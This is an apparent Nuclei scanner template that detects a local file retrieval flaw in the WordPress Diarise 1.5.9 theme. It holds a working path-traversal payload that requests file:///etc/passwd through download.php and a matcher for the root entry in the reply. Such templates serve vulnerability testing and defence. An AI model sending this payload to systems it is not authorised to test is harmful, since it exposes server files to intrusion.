id: diarise-theme-lfi

info:
  name: WordPress Diarise 1.5.9 - Arbitrary File Retrieval
  author: 0x_Akoko
  severity: high
  description: WordPress Diarise theme version 1.5.9 suffers from a local file retrieval vulnerability.
  reference:
    - https://packetstormsecurity.com/files/152773/WordPress-Diarise-1.5.9-Local-File-Disclosure.html
    - https://cxsecurity.com/issue/WLB-2019050123
    - https://woocommerce.com/?aff=1790
  classification:
    cwe-id: CWE-22,CWE-73
  metadata:
    max-request: 1
  tags: packetstorm,wordpress,wp-theme,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/themes/diarise/download.php?calendar=file:///etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100fa878d1ab95b9aa15466da5359c5960999f701200b7316fe31233af36af4665a02203e85ba3a8ca2e56a6fb659566d8e0bf9f5a1570c65a4af3368b2a0cc7a2a1b85:922c64590222798bb761d5b6d8e72950